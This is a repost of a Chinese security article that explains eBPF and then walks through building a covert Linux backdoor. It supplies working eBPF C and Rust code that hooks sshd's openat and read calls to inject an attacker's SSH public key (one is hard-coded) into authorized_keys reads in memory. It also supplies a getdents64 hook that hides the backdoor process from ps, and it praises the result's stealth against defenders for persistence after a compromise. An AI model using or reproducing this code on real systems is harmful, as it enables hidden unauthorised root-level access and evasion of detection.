|
本帖最后由 luozhenni 于 2023-2-17 23:15 编辑
如何借助eBPF打造隐蔽的后门
原文链接:如何借助eBPF打造隐蔽的后门
aric**** [url=]衡阳信安[/url] 2023-02-17 06:04 发表于山东
如何借助eBPF打造隐蔽的后门eBPF技术
简介
Linux 内核本质上是内核驱动的,下图表现了这一过程:
编辑
图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 如何使用 Cilium 和 eBPF 使 Linux 微服务感知
- 在图中最上面,有进程进行系统调用,它们会连接到其他应用,写数据到磁盘,读写 socket,请求定时器等等。这些都是事件驱动的。这些过程都是系统调用。
- 在图最下面,是硬件层。这些可以是真实的硬件,也可以是虚拟的硬件,它们会处理中断事 件,例如:"嗨,我收到了一个网络包","嗨,你在这个设备上请求的数据现在可以读了", 等等。可以说,内核所作的一切事情都是事件驱动的。
- 在图中间,是 12万 行巨型单体应用(Linux Kernel)的代码,这些代码处理各种事件。
eBPF为什么会成为我们的好帮手呢?
因为BPF 给我们提供了在这些事件发生时运行指定的 eBPF程序的能力。
eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。
例如,我们可以在以下事件发生时运行我们的 BPF 程序:
- 应用发起 // 等系统调用readwriteconnect
- TCP 发生重传
- 网络包达到网卡
这很类似hook系统函数的行为,我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃,那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢?
首先,ebpf程序并不是传统意义上的一个ELF执行程序,而是一段BPF字节码,这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump 生成一段对应过滤规则的字节码
- > sudo tcpdump -i ens192 port 22 -ddd
- 24
- 40 0 0 12
- 21 0 8 34525
- 48 0 0 20
- 21 2 0 132
- 21 1 0 6
- 21 0 17 17
- 40 0 0 54
- 21 14 0 22
- 40 0 0 56
- 21 12 13 22
- 21 0 12 2048
- 48 0 0 23
- 21 2 0 132
- 21 1 0 6
- 21 0 8 17
- 40 0 0 20
- 69 6 0 8191
- 177 0 0 14
- 72 0 0 14
- 21 2 0 22
- 72 0 0 16
- 21 0 1 22
- 6 0 0 262144
- 6 0 0 0
复制代码 内核在接受 BPF 字节码之前,会首先通过验证器对字节码进行校验,只有校验通过的 BPF
- 只有特权进程才可以执行 BPF 系统调用;
- BPF 程序不能包含无限循环;
- BPF 程序不能导致内核崩溃;
- BPF 程序必须在有限时间内完成。
- eBPF 程序不能随意调用内核函数,只能调用在 API 中定义的辅助函数;
- BPF 程序可以利用 BPF 映射(map)进行存储,BPF 程序收集内核运行状态存储在映射中,用户程序再从映射中读出这些状态。eBPF 程序栈空间最多只有 512 字节,想要更大的存储,就必须要借助映射存储;
安全校验后 eBPF 字节码将通过即时编译器(JIT,Just-In-Time Compiler)编译成为原生机器码,提供近乎内核本地代码的执行效率,并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF Map 结构进行双向通信,每当特定的事件发生时,eBPF 程序可以将采集的统计信息通过 Map 结构传递给上层用户态的应用程序,进行进一步与数据处理分析。下图具体的展现了这一过程
编辑
为了确保在内核中安全地执行,eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互,eBPF 指令有意采用了 C 调用约定,其提供的辅助函数可以在 C 语言中直接调用,这也方便了我们开发 eBPF程序,通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF 字节码,然后再通过 bpf 系统调用内核提交给执行。
下面,我们将通过实际开发来感受eBPF给安全人员提供的便利。
SSHD_BACKDOOR
我们知道,当用户在连接到远程的ssh服务器并提供非对称密钥时,远程服务器sshd会打开对应用户目录下的 验证用户是否可以通过对应的密钥登陆。~/.ssh/authorized_keys
因此,我们的目标很简单:就是让sshd打开 读到的公钥文件夹中含有我们的公钥信息,这样我们就可以认证登陆了。~/.ssh/authorized_keys
其过程可以简化为如下C语言代码
- char buf [4096] = {0x00};
- int fd = open("/root/.ssh/authorized_keys", O_RDONLY);
- if (fd < 0) {
- printf("ERROR OPEN FILE");
- }
- memset(buf, 0 , sizeof(buf));
- if (read(fd, &buf, 4096) > 0) {
- printf("%s", buf);
- }
- close(fd);
- return 0;
复制代码 我们很容易可以想到,hook read函数,将获得的文件内容修改为含有我们公钥的文件内容。
- > sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
- tracepoint:syscalls:sys_enter_read
- int __syscall_nr
- unsigned int fd
- char * buf
- size_t count
复制代码 我们需要获得buf和count,即写入sshd读取缓存的地址,和对应的长度
为什么不直接向FD写?
因为bpf只支持有限的函数调用,不能调用write向FD中写
从这里我们也可以看出,如果只是hook这个函数,我们并不知道是哪个程序,打开了哪个文件调用的这个函数,为了进行过滤,我们还需要hook openat syscall
- > sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
- tracepoint:syscalls:sys_enter_openat
- int __syscall_nr
- int dfd
- const char * filename
- int flags
- umode_t mode
复制代码 这里我们可以拿到文件名,通过 这一打开文件名特征来进行过滤/root/.ssh/authorized_keys
对应进程,可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名,这里我们通过sshd进行过滤。
总体来说,流程可以分为三步
- hook openat syscall,根据文件名和进程名过滤拿到sshd的pid 和打开的 FD (通过exit时的ctx→ret)
- hook read syscall 根据 FD和PID 过滤拿到 sshd 读取密钥的 buf,并通过bpf_probe_write_user修改用户空间内存中的 buf
- hook exit syscal 清理ebpf map中保存的FD和PID,防止破坏其他进程和文件。
具体实现
Esonhugh 师傅基于cilium写了一版,为了锻炼自己写ebpf和rust的能力,拿libbpf-rs重写了一版,仓库在 https://github.com/EkiXu/sshd_backdoor 编译后的程序大小可以达到只有几百k。
bpf的部分是类似的,在enter时检查进程名参数中的文件名
- SEC("tp/syscalls/sys_enter_openat")
- int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
- {
- size_t pid_tgid = bpf_get_current_pid_tgid();
- char comm[TASK_COMM_LEN];
- if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) {
- return 0;
- }
- const int target_comm_len = 5;
- const char *target_comm = "sshd";
- for (int i = 0; i < target_comm_len; i++)
- {
- if (comm[i] != target_comm[i])
- {
- return 0;
- }
- }
- char filename[27];
- bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]);
- for (int i = 0; i < target_file_len; i++)
- {
- if (filename[i] != target_file[i])
- {
- return 0;
- }
- }
- unsigned int zero = 0;
- bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
- return 0;
- }
复制代码 在exit的时候存储对应的返回值FD- SEC("tp/syscalls/sys_exit_openat")
- int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
- {
- size_t pid_tgid = bpf_get_current_pid_tgid();
- unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
- if (check == 0) return 0;
- unsigned int fd = (unsigned int)ctx->ret;
- bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
- return 0;
- }
复制代码 在read enter时存储buff指针参数和大小- SEC("tracepoint/syscalls/sys_enter_read")
- int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
- {
- size_t pid_tgid = bpf_get_current_pid_tgid();
- unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid);
- if (pfd == 0) return 0;
- unsigned int map_fd = *pfd;
- unsigned int fd = (unsigned int)ctx->args[0];
- if (map_fd != fd) return 0;
- long unsigned int buff_addr = ctx->args[1];
- size_t size = ctx->args[2];
- struct syscall_read_logging data;
- data.buffer_addr = buff_addr;
- data.calling_size = size;
- bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY);
- return 0;
- }
复制代码 在read exit时根据存储的fd,和在enter时拿到的存储buff指针,修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。(因此需要对应目标文件有那么多空间,否则无法写入,实战中可以向对应文件写入一些空格占位)- SEC("tracepoint/syscalls/sys_exit_read")
- int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
- {
- ...
- u8 key = 0;
- struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key);
- u32 len = payload->payload_len;
- long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN;
- long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN);
- ...
- bpf_map_delete_elem(&map_fds, &pid_tgid);
- bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
- return 0;
- }
复制代码 关于加载bpf程序- const SRC: &str = "src/bpf/backdoor.bpf.c";
- let mut out =
- PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script"));
- out.push("backdoor.skel.rs");
- println!("cargo:rerun-if-changed=src/bpf");
- SkeletonBuilder::new()
- .source(SRC)
- .build_and_generate(&out)
- .unwrap();
复制代码 在build.rs中编译对应的c文件到生成backdoor.skel.rs- fn main() -> Result<(),Error> {
- let mut skel_builder = BackdoorSkelBuilder::default();
- skel_builder.obj_builder.debug(true);
- let open_skel = skel_builder.open()?;
- // Begin tracing
- let mut skel = open_skel.load()?;
- skel.attach()?;
- loop {
- }
- }
复制代码 通过builder生成对应的skel,调用load和attach进行挂载,当然这里需要loop阻塞一下,不然就直接退出了。
用户态可以监听perfbuf和ringbuffer这两个map,以ringbuffer为例- let mut builder = RingBufferBuilder::new();
- builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf");
- let ringbuf = builder.build().expect("Failed to build");
- loop {
- ringbuf.poll(Duration::from_millis(100))?;
- }
复制代码
rb_handler就是对应的处理函数
也可以修改其他的map,比如这里向map里传入我们自定义的公钥内容- //Replace your pub key here
- let val = CustomPayload::new(b"\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= eki@DUBHE-VM\n");
- let key = (0 as u8).to_ne_bytes();
- //let val = custom_key;
- unsafe {
- if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){
- panic!("{}",e)
- }
- }
复制代码 这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化,比如我们存储的CustomPayload,可以这么写(注意空间和长度需要固定)
- #[derive(Debug, Clone)]
- pub struct CustomPayload {
- pub raw_buf: [u8; MAX_PAYLOAD_LEN],
- pub payload_len: u32,
- }
- impl CustomPayload {
- pub fn new<const A:usize>(buf:&[u8;A])->Self{
- CustomPayload {
- raw_buf: pad_zeroes(*buf),
- payload_len: buf.len() as u32,
- }
- }
- }
- unsafe impl Plain for CustomPayload{}
复制代码 效果如下
编辑
FILE_CLOAK
上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽,比如这个进程会显示在进程树中,通过ps命令可以很容易的排查出可疑进程。
在linux下,我们排查系统运行的进程实际上是通过访问伪文件系统实现的,包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。/proc
- > strace -e openat ps
- ...
- openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4
- openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
- openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
- openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
- ...
复制代码 那么,很自然的会想到利用上一篇文章中说的,让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件,我们可能需要劫持目录下的所有文件。因此,我们不妨换一个思路,通过系统调用来篡改目录。现代linux系统使用的调用为,对应的原型和参数结构如下- getdentsgetdents64
- int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
- //其中
- struct linux_dirent64 {
- u64 d_ino; /* 64-bit inode number */
- u64 d_off; /* 64-bit offset to next structure */
- unsigned short d_reclen; /* Size of this dirent */
- unsigned char d_type; /* File type */
- char d_name[]; /* Filename (null-terminated) */ };
复制代码
我们也可以验证ps中确实使用了这一系统调用
- trace -e getdents64 ps
- getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832
- PID TTY TIME CMD
- 46489 pts/17 00:00:01 bash
- 57392 pts/17 00:00:00 strace
- 57395 pts/17 00:00:00 ps
- getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0
- +++ exited with 0 +++
复制代码 隐藏流程
对于正常读取文件:
linux_dirent64 结构体在内存的排列是连续的,而且 的第二个参数 dirent 正好指向第一个 结构体,所以根据上面的信息,我们只要知道 链表的大小,就能根据 ,就能准确从连续的内存中分割出每一块。sys_getdents64linux_dirent64linux_dirent64linux_dirent64->d_reclenlinux_dirent64
那么隐藏的思路就是:
通过修改前一块 为下一块的+这一块的 这样读取文件是就会跳过这一部分直接到下一块。linux_dirent64->d_reclend_reclend_reclen
具体实现
具体代码也用libbpf-rust实现了一版
https://github.com/EkiXu/file_cloak
主要是对的hookSEC("tracepoint/syscalls/sys_exit_getdents64")
首先是遍历 结构体,找到对应的目录,这里通过尾调用的方式绕过eBPF对循环的限制,具体来说就是将原来的循环拆分成大小为128的块,一轮循环结束后,记录当前遍历的位置,通过bpf_tail_call再次调用这个函数进行遍历,直到找到对应的文件名。- int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
- {
- ...
- long unsigned int buff_addr = *pbuff_addr;
- struct linux_dirent64 *dirp = 0;
- int pid = pid_tgid >> 32;
- short unsigned int d_reclen = 0;
- char filename[MAX_FILE_LEN];
- unsigned int bpos = 0;
- unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
- if (pBPOS != 0) {
- bpos = *pBPOS;
- }
- for (int i = 0; i < 128; i ++) {
- if (bpos >= total_bytes_read) {
- break;
- }
- dirp = (struct linux_dirent64 *)(buff_addr+bpos);
- bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
- bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name);
- int j = 0;
- for (j = 0; j < file_to_hide_len; j++) {
- if (filename[j] != file_to_hide[j]) {
- break;
- }
- }
- if (j == file_to_hide_len) {
- bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
- bpf_map_delete_elem(&map_buffs, &pid_tgid);
- bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
- }
- bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
- bpos += d_reclen;
- }
- if (bpos < total_bytes_read) {
- bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
- bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
- }
- bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
- bpf_map_delete_elem(&map_buffs, &pid_tgid);
- return 0;
- }
复制代码
找到之后,同样通过尾调用跳转到patch函数,注意,在遍历的过程中我们一直在更新存储之前的文件,当遍历到目标文件时,map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。
- SEC("tracepoint/syscalls/sys_exit_getdents64")
- int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
- {
- ...
- long unsigned int buff_addr = *pbuff_addr;
- struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
- short unsigned int d_reclen_previous = 0;
- bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
- struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
- unsigned short d_reclen = 0;
- bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
- short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
- long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
- ...
- bpf_map_delete_elem(&map_to_patch, &pid_tgid);
- return 0;
- }
复制代码 用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。
- open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
- open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());
复制代码 最终效果如下
- > ps aux |grep listen.py
- eki 63504 0.0 0.0 91636 5876 pts/32 Sl+ Feb15 0:00 python listen.py
- eki 82405 0.0 0.0 7012 2140 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
- ---
- > sudo target/debug/file_cloak 63504
- ---
- > ps aux |grep listen.py
- eki 82302 0.0 0.0 7012 2228 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
复制代码 总结
在本文中,我们实际上利用eBPF机制实现了两个Gadget:
- 通过劫持openat和read系统调用实现任意程序读取文件内容劫持
- 通过劫持getdents64系统调用实现任意程序列目录劫持
通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。
优点和劣势
优点:
- 文件痕迹上足够隐蔽,如果蓝队不查看可疑的bpf进程的话,由于这种方式并不会对磁盘上的文件造成影响,很难检测到添加了公钥,也很难修复。
- 行为痕迹上足够隐蔽,全程的行为都是正常的,攻击者只是正常的使用公钥连接目标服务器。同时后门进程也不会出现在进程树中。
劣势:
- ebpf需要root权限才能执行。因此只能应用于渗透提权后的权限维持。
- 由于ebpf本身的特性,后门程序对目标系统内核版本的要求比较高,无法运行在较低的内核版本上。
参考资料来源:先知社区的【aric**** 】师傅
|
|